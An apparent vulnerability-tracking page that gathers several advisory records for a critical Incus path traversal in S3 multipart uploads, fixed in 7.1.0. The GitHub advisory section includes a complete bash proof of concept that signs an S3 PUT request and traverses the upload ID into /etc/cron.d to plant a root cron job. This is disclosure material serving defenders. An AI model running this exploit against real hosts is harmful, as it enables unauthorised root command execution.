Incus has an arbitrary file write via path traversal in S3 multipart upload

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Incus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. Version 7.1.0 fixes the issue.

Source published

21 Aug 2026 14:34:39 UTC

Source modified

21 Aug 2026 15:36:43 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Incus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. Version 7.1.0 fixes the issue.

Source published

Aug 21, 2026, 2:34:39 PM (timezone not stated)

Source modified

Aug 21, 2026, 3:36:43 PM (timezone not stated)

Observed here

9 Nov 2026 12:04:58 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Incus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. Version 7.1.0 fixes the issue.

Source published

21 Aug 2026 15:16:40 UTC

Source modified

15 Oct 2026 19:10:00 UTC

Observed here

25 Oct 2026 12:17:32 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

## Summary The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. In `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33 ## PoC ### Setup ``` # Expose the S3 API and create a bucket incus config set core.storage_buckets_address=:8555 incus storage volume create default bucket #> note the credentials ``` ### Exploitation The below script was mostly generated. ``` #!/usr/bin/env bash set -euo pipefail if [ $# -lt 4 ]; then printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2 exit 1 fi endpoint="${1%/}" bucket="${2}" access="${3}" secret="${4}" region="us-east-1" service="s3" key="anything" part="1" upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d" target="/etc/cron.d/part-00001" cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target" body="* * * * * root /bin/sh -c '$cmd' " uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key" uri_path="${uri_path#/}" uri_path="/$uri_path" host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')" qs="partNumber=$part&uploadId=${upload_id//\//%2F}" url="$endpoint/$bucket/$key?$qs" amz_date=$(date -u +%Y%m%dT%H%M%SZ) date_scope="${amz_date:0:8}" scope="$date_scope/$region/$service/aws4_request" body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}') signed="host;x-amz-content-sha256;x-amz-date" canonical="PUT $uri_path $qs host:$host x-amz-content-sha256:$body_hash x-amz-date:$amz_date $signed $body_hash" canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')" string_to_sign="AWS4-HMAC-SHA256 $amz_date $scope $canonical_hash" hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256 } k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256) k_date=$(hmac_hex "$k_date" "$date_scope") k_region=$(hmac_hex "$k_date" "$region") k_service=$(hmac_hex "$k_region" "$service") k_signing=$(hmac_hex "$k_service" "aws4_request") sig=$(hmac_hex "$k_signing" "$string_to_sign") auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}" printf '# body:\n%s' "${body}" curl -ksS -X PUT "${url}" \ -H "Host: ${host}" \ -H "X-Amz-Date: ${amz_date}" \ -H "X-Amz-Content-Sha256: ${body_hash}" \ -H "Authorization: ${auth}" \ --data-binary "${body}" ``` ## Impact Arbitrary file write on the host. Possibly leading to arbitrary command execution.

Source published

26 Jun 2026 18:47:25 UTC

Source modified

7 Jul 2026 20:41:16 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL

Incus has an arbitrary file write via path traversal in S3 multipart upload in github.com/lxc/incus

Source published

7 Jul 2026 16:41:46 UTC

Source modified

7 Jul 2026 20:30:16 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.